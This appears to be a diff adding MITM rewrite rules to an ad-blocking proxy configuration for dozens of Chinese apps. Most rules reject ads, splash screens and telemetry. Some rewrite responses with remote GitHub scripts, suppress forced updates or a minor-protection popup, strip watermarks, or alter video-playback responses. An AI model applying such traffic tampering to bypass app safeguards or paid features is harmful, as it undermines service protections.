+https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/(homepage\/block\/page|link\/page\/rcmd\/(resource\/show|block\/resource\/multi\/refresh)) url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/page\/discovery\/resource\/show url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/song\/play\/more\/list\/v\d url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/position\/show\/resource url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js +https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/user\/follow\/users\/mixed\/get url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js + +# > 网易邮箱 +# hostname = appconf.mail.163.com, client.mail.163.com, analytics.163.com +^https?:\/\/appconf\.mail\.163\.com\/mmad\/ url reject-200 +^https?:\/\/client\.mail\.163\.com\/apptrack\/confinfo\/(searchMultiAds|showAds) url reject + +# > 网易 +# hostname = *.music.126.net, img1.126.net, www.icourse163.org, nex.163.com, g1.163.com, client.mail.163.com, c.m.163.com, interface*.music.163.com +^https?:\/\/p[^4](c)?\.music\.126\.net\/\w+==\/10995\d{13}\.jpg$ url reject-img +^https?:\/\/p\.c\.music\.126.net\/.*?jpg$ url reject +^https?:\/\/img1.126.net\/.+dpi=\w{7,8} url reject +^https?:\/\/img1.126.net\/channel14\/ url reject +^https?:\/\/iadmusicmat\.music.126.net\/.*?jpg$ url reject +^https?:\/\/p\d\.music\.126\.net\/\w+==\/\d+\.jpg$ url reject +^https?:\/\/www.icourse163.org\/.*?(Advertisement) url reject-img +^https?:\/\/nex.163.com\/q url reject +^https?:\/\/g1.163.com\/madfeedback url reject +^https?:\/\/client\.mail\.163\.com\/apptrack\/confinfo\/searchMultiAds url reject +^https?:\/\/c\.m\.163\.com\/nc\/gl\/ url reject +^https?:\/\/www\.icourse163\.org\/mob\/j\/v1\/mobRecommendRPCBean\.getMaxWeightAdvertisement\.rpc url reject-200 +^https?:\/\/interface3?\.music\.163\.com/eapi/(ad|abtest|sp|hot|store|mlog|search/(specialkeyword|defaultkeyword|hot)) url reject-img + +# > 网易大神 +# hostname = god.gameyw.netease.com, ok.166.net +^https?:\/\/god\.gameyw\.netease\.com\/v\d\/ad url reject-dict +^https?:\/\/ok\.166\.net\/reunionpub\/202[2-9]{1}-[0-9]{2}-[0-9]{2}\/ntesgod_cms\/.*.jpg$ url reject-200 + +# > 网易有道词典 +# hostname = dict.youdao.com, api-overmind.youdao.com, cdke.youdao.com, dictvip-business.youdao.com, dsp-impr2.youdao.com, impservice.dictapp.youdao.com, oral.youdao.com, oimage*.ydstatic.com +# 首页净化,学习Tab界面净化,首页听读训练净化 +^https?:\/\/dict\.youdao\.com\/(homepage\/promotion|course\/tab\/home|homepage\/tile) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/youdao/dict-youdao-ad.js +# 翻译广告 +^https?:\/\/dict\.youdao\.com\/course\/tab\/translateTab url reject-dict +# 听读训练 +#^https?:\/\/dict\.youdao\.com\/homepage\/tile url reject-dict +# 首次查词弹窗 +^https?:\/\/api-overmind\.youdao\.com\/openapi\/get\/luna\/dict\/dict-mobile\/prod\/dictCommonConfig url reject-dict +# 首页弹窗 +^https?:\/\/cdke\.youdao\.com\/course3\/recommend\/dict\/startup url reject-dict +# 搜索预想 +^https?:\/\/dict\.youdao\.com\/commonsearch url reject-dict +# 会员优惠券弹窗 +^https?:\/\/dict\.youdao\.com\/vip\/activity\/couponinfo url reject-dict +# 首页左上角福利中心 +^https?:\/\/dict\.youdao\.com\/dictusertask\/system url reject-dict +# 会员界面横幅广告 +^https?:\/\/dictvip-business\.youdao\.com\/home\/ad url reject-dict +# 其他 +^https?:\/\/oimage([a-z])([0-9])\.ydstatic\.com\/.+adpublish url reject +^https?:\/\/oimage\w\d\.ydstatic\.com\/image\?.+?=adpublish url reject-img +^https?:\/\/dsp-impr2\.youdao\.com\/adload url reject-200 +^https?:\/\/impservice\.dictapp\.youdao\.com\/imp\/request url reject-img +^https?:\/\/oral\.youdao\.com\/oral\/adInfo url reject-img + +# > 网上国网 +# hostname = osg-static.sgcc.com.cn, osg-service.sgcc.com.cn +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/appForceUpdate url reject +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/appSync\/getAppForceUpgrade url reject +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/bootpageoutter\/ url reject-dict +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/.*\/app_api\/selectInfoByCondition url reject-dict +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/.*\/inner\/cache url reject + +# > 威锋 +# hostname = api.wfdata.club +^https?:\/\/api\.wfdata\.club\/v\d\/yesfeng\/(infoCenterAd|yesList) url reject + +# > 微店 +# hostname = thor.weidian.com +^https?:\/\/thor\.weidian\.com\/ares\/home\.splash url reject-200 + +# > 无他相机 +# hostname = api-release.wuta-cam.com, res-release.wuta-cam.com +^https?:\/\/api-release\.wuta-cam\.com\/ad_tree url reject-200 +^https?:\/\/res-release\.wuta-cam\.com\/json\/ads_component_cache\.json url reject + +# > 悟空遥控器 +# hostname = img.wukongtv.com +^https?:\/\/img\.wukongtv\.com\/wkremote\/AD\/iOS\/.*.(jpg|png|jpeg) url reject-200 + +# > 蜗牛睡眠 +# hostname = snailsleep.net +^https?:\/\/snailsleep\.net\/snail\/v\d\/adTask\/ url reject +^https?:\/\/snailsleep\.net\/snail\/v\d\/screen\/qn\/get\? url reject + +# > 本来生活 +# hostname = img0*.benlailife.com +^https?:\/\/img0[1-9]{1}\.benlailife\.com\/AppHomePageImage\/upload\/files\/.*.jpg url reject-200 + +# > 唯品会 +# hostname = b.appsimg.com, mapi.appvipshop.com +^https?:\/\/b\.appsimg\.com\/upload\/momin url reject +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/activity\/advertisement\/get url reject-200 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/iosAdInfo\/report url reject +# APP+小程序弹窗广告 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/layout\/productList\/eventData\/v url reject-200 +# 右下角悬浮窗,需手动关闭广告一次 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/activity\/coupon\/float_entrance\/get\?api_key url reject-200 + +# > 稿定设计 +# hostname = qiye.gaoding.com +^https:\/\/qiye\.gaoding\.com\/api\/v3\/oc\/v2\/delivery-pits\/ios-splash\/ url reject-dict + +# > 温尼伯站 +# hostname = vue3-api.zhixiny.cn +^https:\/\/vue3-api\.zhixiny\.cn\/v1\/initui\?key=index url script-response-body https://raw.githubusercontent.com/Sliverkiss/QuantumultX/main/AdBlock/xmApp/wnbz.js + +# > 我爱卡社区管家 +# hostname = api.51credit.com +^https?:\/\/api\.51credit\.com\/app\/popup\/appPopup url reject-dict +^https?:\/\/api\.51credit\.com\/ks\/a\/list\? url reject-dict +^https?:\/\/api\.51credit\.com\/bbs\/app\/api\/v\d\/topic\/chat url reject-dict + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 小米商城 +# hostname = api.m.mi.com +^https?:\/\/api\.m\.mi\.com\/v1\/app\/start url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js + +# > 小米有品 +# hostname = shopapi.io.mi.com +^https?:\/\/shopapi\.io\.mi\.com\/mtop\/mf\/resource\/homePage\/pageConfig url reject-200 + +# > 小米运动 +# hostname = api-mifit*.huami.com +^https?:\/\/api-mifit.+?\.huami\.com\/discovery\/mi\/discovery\/.+?_ad\? url reject-200 + +# > 小米打印 +# hostname = api-miprint.hannto.com, api.indeedpower.com +# 去开屏 感谢【别怕我又不乱来】分享 +^https?:\/\/api-miprint\.hannto\.com\/v1\/c\/res\/app\/ad\/\?app_version url reject-dict +# 主页上方广告 +^https?:\/\/api\.indeedpower\.com\/v1\/m\/edu\/module\/homepage_banner\/\?randomStr url reject-dict + +# > 小米金融 +# hostname = api.jr.mi.com +^https?:\/\/api\.jr\.mi\.com\/v\d\/adv\/ url reject-200 +^https?:\/\/api\.jr\.mi\.com\/jr\/api\/playScreen url reject-200 + +# > 小爱音箱 +# hostname = info.mina.xiaoaisound.com, marketing-aibox.v.mitvos.com +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/advertise(?!\/banner) url reject +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/payGuide\/userCenter url reject +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/popup url reject-dict + +# > 米家 +# hostname = home.mi.com +^https?:\/\/home\.mi\.com\/cgi-op\/api\/v1\/recommendation\/(banner|carousel\/banners|myTab|openingBanner) url reject-dict + +# > 米读 +# hostname = apiwz.midukanshu.com +^https?:\/\/apiwz\.midukanshu\.com\/advert\/getPopup$ url reject +^https?:\/\/apiwz\.midukanshu\.com\/advert\/treasureInfo$ url reject +^https?:\/\/apiwz\.midukanshu\.com\/config\/getAds$ url reject + +# > 米游社 +# hostname = upload-bbs.mihoyo.com +^https?:\/\/upload-bbs\.mihoyo\.com\/upload\/202[2-9]{1}\/[0-9]{2}\/[0-9]{2}\/[a-z0-9]{32}_[a-z0-9]{19}\.(jpg|png)$ url reject-200 + +# > 雪球 +# hostname = api.xueqiu.com, open.xueqiu.com, stock.xueqiu.com, 39.103.79.14, 39.106.97.84, 47.95.49.75, 101.201.62.20, 101.201.62.26, 101.201.175.228, 124.250.48.3, 182.92.145.50, 182.92.251.113 +# 感谢【可莉】分享 +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&height=932 url reject-dict +^https:\/\/open\.xueqiu\.com\/mpaas\/config\/content\?.+home_visitor_relation_config url reject-dict +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&location=0&model=6&page=4 url reject-dict +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&location=0&model=1&page=(4|6) url reject-dict +^https:\/\/api\.xueqiu\.com\/ucprofile\/api\/user\/batchGetUserBasicInfo\.json url reject-dict +^https:\/\/api\.xueqiu\.com\/lightsnow\/launch\/plan\/bee\/query\.json\?channel=1&ip_label=&label_json=.+new_customer=1 url reject-dict +^https:\/\/api\.xueqiu\.com\/lightsnow\/optional\/banner\/query\.json url reject-dict +^https:\/\/open\.xueqiu\.com\/mpaas\/config\/content\?.+cube_detail_bottom_operation_trade_button url reject-dict +^https:\/\/api\.xueqiu\.com\/recommend-proxy\/card\/zj_card\.json\?feed_id=207 url reject-dict +^https:\/\/api\.xueqiu\.com\/recommend-proxy\/card\/portfolio_tab_symbol\.json url reject-dict +^https:\/\/stock\.xueqiu\.com\/v5\/stock\/group\/recommend\/default\/list\.json url reject-dict +^https:\/\/api\.xueqiu\.com\/livestream\/structure\/live\/hotCard\.json url reject-dict + +# > 下厨房 +# hostname = api.xiachufang.com +^https?:\/\/api\.xiachufang\.com\/v\d\/ad/ url reject + +# > 兴业银行 +# hostname = images.cib.com.cn +# 首页会有一小部分图片误杀 +^https?:\/\/images\.cib\.com\.cn\/commons\/uploads\/commons\/[a-zA-Z0-9]{32}\.jpg\?ver=20221[1-2]{1} url reject-200 +^https?:\/\/images\.cib\.com\.cn\/commons\/uploads\/commons\/[a-zA-Z0-9]{32}\.jpg\?ver=20230[1-9]{1} url reject-200 +# > 兴业生活 +# hostname = file.cibfintech.com +^https?:\/\/file\.cibfintech\.com\/file\/M0[1-9]{1}\/*\/*\/.*.zip url reject-img + +# > 星火英语 +# hostname = api*.sparke.cn +# 开屏广告 +^https?:\/\/api\d\.sparke\.cn\/admodel\/list\?adspace=spgg&flag=\d$ url reject + +# > 星途 starway +# hostname = app.chinahxzq.com.cn +# 开屏广告 感谢【打豆豆】分享 +^https?:\/\/app\.chinahxzq\.com\.cn:9302\/starway-api\/ad url reject-dict +^https?:\/\/app\.chinahxzq\.com\.cn\/starway\/adShow url reject-dict + +# > 星财富 +# hostname = operationapi.fosunhanig.com +# 开屏广告+弹窗广告+横幅广告 +^https?:\/\/operationapi\.fosunhanig\.com\/ad\/v\d\/(PopupAdList|ScreenAdList|BannerList) url reject-200 + +# > 迅雷 +# hostname = images.client.vip.xunlei.com, api-shoulei-ssl.xunlei.com +^https?:\/\/images\.client\.vip\.xunlei\.com\/.+?\/advert\/ url reject-200 +^https?:\/\/api-shoulei-ssl\.xunlei\.com\/flowhub\/v\d\/slots:batchGet url reject-200 + +# > 迅游加速器 +# hostname = portal-xunyou.qingcdn.com +^https?:\/\/portal-xunyou\.qingcdn\.com\/api\/v\d\/ios\/ads\/ url reject-200 +^https?:\/\/portal-xunyou\.qingcdn\.com\/api\/v\d\/ios\/configs\/(?>splash_ad|ad_urls) url reject-200 + +# > 小睡眠 +# hostname = api.psy-1.com +^https?:\/\/api\.psy-1\.com\/cosleep\/startup url reject + +# > 小特- 首选特斯拉中文社区 +# hostname = lcen.xiaote.net +^https?:\/\/lcen\.xiaote\.net\/api\/graphql url response-body screenSplashAd response-body random-response + +# > 小利生活 +# hostname = mpos-pic.helipay.com +^https?:\/\/mpos-pic\.helipay\.com\/upload\/images\/advertisment\/image url reject + +# > 小兔充充 +# hostname = ad.xiaotucc.com, mapi.xiaotucc.com +# 小程序净化 +^https?:\/\/ad\.xiaotucc\.com\/advert url reject +^https?:\/\/mapi\.xiaotucc\.com\/(mall\/main|main_page\/index\/getActivity) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xiaotucc.js + +# > 小电充电 微信小程序 +# hostname = smarket.dian.so, file.dian.so +^https?:\/\/smarket\.dian\.so url reject-dict +^https?:\/\/file\.dian\.so\/c\/leto url reject-dict + +# > 小合拓展 +# hostname = xhtz.oss-cn-guangzhou.aliyuncs.com +^https?:\/\/xhtz.oss-cn-guangzhou\.aliyuncs\.com\/home\/member\/.+\.png$ url reject-200 + +# > 小牛 +# hostname = app-api.niu.com +^https?:\/\/app-api\.niu\.com\/v\d\/advertisement\/ url reject + +# > 小桔科技 +# hostname = ct.xiaojukeji.com, res.xiaojukeji.com +^https?:\/\/ct\.xiaojukeji\.com\/agent\/v3\/feeds url reject +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/get(Ruled|Preload|PasMultiNotices) url reject +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/mget url reject + +# > 小艺 +# hostname = api.xiaoyi.com +^https?://api.xiaoyi.com\/v5\/app\/mobile\/ads url reject +^https?://api.xiaoyi.com\/v5\/app\/config\?userid=.* url reject + +# > 小Biu智家 +# hostname = shcss.suning.com +# 开屏广告 感谢【别人别我】分享 +^https?:\/\/shcss\.suning\.com\/shcss-web\/api\/appImage\/queryAppImage\.do url reject-200 + +# > 小熊艺术 +# hostname = www.xiaoxiongmeishu.com +^https:\/\/www\.xiaoxiongmeishu\.com\/api\/(home\/v1\/config\/appInit|s\/v1\/popup\/createCouponPopup) url reject + +# > 小熊拦截 +# hostname = spamblocker-api.zeekstudio.com +# 去除更新弹窗 +^https:\/\/spamblocker-api\.zeekstudio\.com\/profile url reject-dict +^https:\/\/spamblocker-api\.zeekstudio\.com\/checkVersion url reject-dict + +# > 小佩宠物 +# hostname = api.petkit.cn +^https?:\/\/api\.petkit\.cn\/6\/\/device\/relatedProductsInfo url reject-dict + +# > 小白学习打印机 开屏广告 +# hostname = api.xbxxhz.com +# 捕获试卷脚本:https://raw.githubusercontent.com/Yu9191/Script/main/shijuan.js +^https?:\/\/api\.xbxxhz\.com\/big_data\/v1\/home_pages url reject + +# > 小象超市 +# hostname = portal-portm.meituan.com, mall.meituan.com +# 广告下发 +^https?:\/\/portal-portm\.meituan\.com\/horn_ios\/mergeRequest url reject-dict +# 开屏广告 +^https?:\/\/mall\.meituan\.com\/api\/c\/homepage\/splash url reject-dict +# 首页领券悬浮红包 +^https?:\/\/mall\.meituan\.com\/api\/c\/homepage\/bubble\/operate\/info url reject-dict + +# > 小芒 +# hostname = mgesq.api.mgtv.com, *.hitv.com +# app去广告 感谢【sliverkiss】分享 +# 我的页面-猜你喜欢 +^https:\/\/mgesq\.api\.mgtv\.com\/v2\/goods\/guess_you_like url reject-dict +# 我的页面- +https://mgesq.api.mgtv.com/v2/user/center/icon url reject-dict +# 主页广告 +https://mgesq.api.mgtv.com/dsl/index.+ url script-response-body https://raw.githubusercontent.com/Sliverkiss/QuantumultX/main/AdBlock/xmApp/xmApp.js +# 搜索排行榜单 +^https:\/\/mgesq\.api\.mgtv\.com\/search\/goods\/rank url reject-dict +# 底部按钮、我的页面左上角 +^https:\/\/mgesq\.api\.mgtv\.com\/user\/center\/config url reject-dict + +# > 小蚕霸王餐 +# hostname = zlsdk.1rtb.net, web2.realtech-inc.com, sdk.1rtb.net, gw.xiaocantech.com +# 感谢【派大星,ZenMoFiShi,sliverkissm】分享 +# 去广告(这个域名其实已经在分流中拒绝) +^https?:\/\/zlsdk\.1rtb\.net\/sdk\/req_ad url reject-dict +# 红包推广 +^https:\/\/gw\.xiaocantech\.com\/rpc GetBannerList url-and-header reject-dict +# 首页横幅推广 +^https:\/\/web2\.realtech-inc\.com\/oss\/xc-app-assets\/configs\/common\/theme\.json url reject-dict +# 开屏广告 +^https:\/\/sdk\.1rtb\.net\/sdk\/req_ad\? url reject-dict +# 更新弹窗 +^https:\/\/gw\.xiaocantech\.com\/g\/pa url reject-dict + +# > 晓晓优选 +# hostname = xxyx-client-api.xiaoxiaoyouxuan.com, statistic.live.126.net +# 多余模块 +^https:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/vajra url reject-dict +# 弹窗广告 +^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/agent_ad url reject +#^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/newcomer_ad url reject-dict +# 右下角的悬浮广告 +^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/activity\/show url reject +# 禁止上报设备信息 +^https?:\/\/statistic\.live\.126\.net\/statics\/report\/common\/form url reject + +# > 希尔顿 荣誉客会 +# hostname = wcprd.hilton.com.cn +^https?:\/\/wcprd\.hilton\.com\.cn\/app-middleware\/graphql\?type=splashAd url reject-200 + +# > 希沃白板5 +# hostname = cstore-en-public-tx.seewo.com +# 开屏广告 需要卸载重装 感谢【别怕我又不乱来】分享 +^https?:\/\/cstore-en-public-tx\.seewo\.com\/easinote5_public url reject-dict + +# > 西施眼 +# hostname = vapp.tmuyun.com +^https:\/\/vapp\.tmuyun\.com\/api\/app_start_page\/list\/new url reject-dict +^https:\/\/vapp\.tmuyun\.com\/api\/buoy\/list url reject-dict + +# > 西窗烛 +# hostname = lchttpapi.xczim.com +^https?:\/\/lchttpapi\.xczim\.com\/1\.1\/functions\/getLaunchImageForIOS url reject + +# > 稀饭动漫 +# hostname = pzoap.moedot.net +^https?:\/\/pzoap\.moedot\.net\/xgapp\.php\/v2\/top_notice url reject + +# > 向日葵 +# hostname = client-api-v2.oray.com +# ^https?:\/\/client-api-v2\.oray\.com\/materials url reject-200 +# 开屏广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SLCC_IOS_STARTUP url reject-dict +# 首页文字广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SLCC_IOS_DEVICE url reject-dict +# 发现页广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SUNLOGIN_CLIENT_IOS_PROMOTION url reject-dict + +# > 心悦俱乐部 +# hostname = bgw.xinyue.qq.com +^https?:\/\/bgw\.xinyue\.qq\.com\/xyapi\.PageService\/GetIndexPopFlash url reject-200 + +# > 兴业证券 +# hostname = static.xyzq.cn +# 优理宝(3秒倒计时,任意位置点一下即可跳过) +^https?:\/\/static.xyzq.cn\/image\/splash\/opera3.*.jpg url reject-200 + +# > 熊猫直播 +# hostname = static.api.m.panda.tv +^https?:\/\/static\.api\.m\.panda\.tv\/index\.php\?method=clientconf\.firstscreen&__version=(play_cnmb|(\d+\.){0,3}\d+)&__plat=ios&__channel=appstore url reject-img + +# > 讯飞 +# hostname = imeclient.openspeech.cn +^https?:\/\/imeclient\.openspeech\.cn\/adservice\/ url reject-200 + +# > 携程 +# hostname = m.ctrip.com, ma-adx.ctrip.com, mbd.baidu.com +# 更新弹窗 APP降级8.40.0版本搭配去开屏广告规则,目前没有出现MITM失败等其他问题 如开启可自行添加主机名 m.ctrip.com +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/[0-9]{5}\/json\/getTimeZoneServerIpList\?__gw_os=IOS url reject-200 +# 开屏去广告 +^https?:\/\/ma-adx\.ctrip\.com\/_ma\.gif url reject +# 8.47.0以上版本会有部分图片加载不出来 +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/json\/tripAds url reject-200 +^https?:\/\/mbd\.baidu\.com\/newspage\/api\/getmobads\?page\=landingshare url reject + +# > 虾米音乐 +# hostname = acs.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit\/ url reject + +# > 下厨房 +# hostname = *.pglstatp-toutiao.com, res1.hubcloud.com.cn +# 去开屏 +^http?:\/\/.*\.pglstatp-toutiao\.com url reject-200 +^http:\/\/res1\.hubcloud\.com\.cn url reject-200 + +# > 厦门航空 +# hostname = mobileapi.xiamenair.com +# 开屏广告 +^https:\/\/mobileapi\.xiamenair\.com\/mobile-starter url reject + +# > 闲鱼 +# hostname = acs.m.goofish.com, g-acs.m.goofish.com, dinamicx.alibabausercontent.com +# 拦截广告下发 +^http:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch %E9%97%B2%E9%B1%BC* url-and-header reject +# 我的页面横幅 +^https:\/\/dinamicx\.alibabausercontent\.com\/pub\/fish_home_top_kingkong_new\/ url reject +# 搜索页面净化 +^https:\/\/acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.item\.search\.activate\/ url reject-dict +^https:\/\/acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.search\.discover\/ url reject-dict +# 首页顶部标签 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.home\.whale\.modulet\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js +# 搜索栏填充词 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.search\.shade\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js +# 首页闲鱼币入口、底部发布球 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.user\.strategy\.list\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js +# 商品信息流广告 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlehome\.home\.nextfresh\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js +# 定位地区页面的信息流广告 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.local\.home\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js + +# > 新浪新闻 +# hostname = edit.sinaapp.com +^https?:\/\/edit\.sinaapp\.com\/ua\?t=adv url reject-200 + +# > 新片场 +# hostname = app.xinpianchang.com +^https?:\/\/app\.xinpianchang\.com\/open_screen\? url reject + +# > 香蕉是一种水果 +# hostname = *.pipiapps.com, *.fuliapps.com, *.xiangjiaoapps.com, *.xiangxiangapps.com +^https?:\/\/.+?\.(pipi|fuli|xiang(jiao|xiang))apps\.com\/(ucp\/index|getGlobalData|(\/|)vod\/reqplay\/) url script-response-body https://raw.githubusercontent.com/NobyDa/Script/master/QuantumultX/File/xjsp.js + +# > 小红书 +# hostname = edith.xiaohongshu.com, www.xiaohongshu.com, ci.xiaohongshu.com, rec.xiaohongshu.com +# 惊喜弹窗 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/surprisebox\/(get_style|open|submit_action) url reject-dict +^https?:\/\/www\.xiaohongshu\.com\/api\/marketing\/box\/trigger\? url reject-dict +# 信息流 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/guide\? url reject-dict +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/guide\/user_banner url reject-dict +^https?:\/\/www\.xiaohongshu\.com\/api\/sns\/(v\d\/ads\/resource|v\d\/hey\/\w+\/hey_gallery) url reject-dict +# 搜索页 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/(banner_list|hot_list) url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/(hint|trending)\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/notes\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +# 开屏广告 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/system_service\/config\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/system_service\/splash_config url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +# 详情页,小部件 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/widgets url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +#^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/user\/followings\/followfeed url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +#^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/recommend\/user\/follow_recommend\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +# 图片水印,视频水印 +^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/v\d\/note\/(imagefeed|live_photo\/save) url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/v\d\/(followfeed|homefeed)\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/(v2\/note\/feed|v3\/note\/videofeed)\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/(v4\/note\/videofeed|v10\/note\/video\/save)\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +# 评论区用户id置空 (实验功能可能无效) +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/comment\/list url response-body red_id response-body fmz200 +# 评论区图片水印 (实验功能可能无效) +^https?:\/\/ci\.xiaohongshu\.com\/system_config\/watermark url reject-img + + +# > 喜马拉雅 +# hostname = *.xima*.*.com, *.xmcdn.* +# 首页顶部去除直播 +^https?:\/\/.*\.xima.*\.com\/discovery-category\/customCategories url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js +# 修复轮播Ad失效Bug +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/focus\/queryF url reject +# 播放页_Live +^https?:\/\/.*\.xima.*\.com\/mobile-playpage\/view\/ url reject +# MyInfo红点提醒 +^https?:\/\/.*\.xima.*\.com\/chaos-notice-web\/v1\/message\/preview\/list url reject +# 屏蔽大红包Tips +^https?:\/\/.*\.xima.*\.com\/social-web\/bottomTabs\/dynamicEntrance\/status url reject +# 屏蔽gif弹窗Ad +^https?:\/\/.*\.xmcdn\.com\/\w{8}\/\w{4}-\w{16}\/.+gif$ url reject +# gslb +^https?:\/\/gslb.*\.xima.*\.com\/ url reject +# 屏蔽Aged请求 +^https?:\/\/.*\.xima.*\.com\/(dog-portal\/checkOld|(child-mobile\/child|aged-mobile\/aged)\/mode\/query) url reject +# 部分Tab弹窗 +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/isShowUserGiftPendant url reject +# 屏蔽红点提示 +^https?:\/\/.*\.xima.*\.com\/mobile-user\/unread url reject +# 屏蔽minor请求 +^https?:\/\/.*\.xima.*\.com/mobile-user/minorProtection/pop url reject +# 屏蔽隐私搜集 +^https?:\/\/.*\.xima.*\.com\/collector\/xl\/v\d url reject +# 屏蔽版本更新 +^https?:\/\/.*\.xima.*\.com\/butler-portal\/versionCheck url reject +# 屏蔽开屏广告 +^https?:\/\/(adse\.wsa|adse|adbehavior|xdcs-collector)\.xima.*\.com\/.* url reject +# 屏蔽位置请求 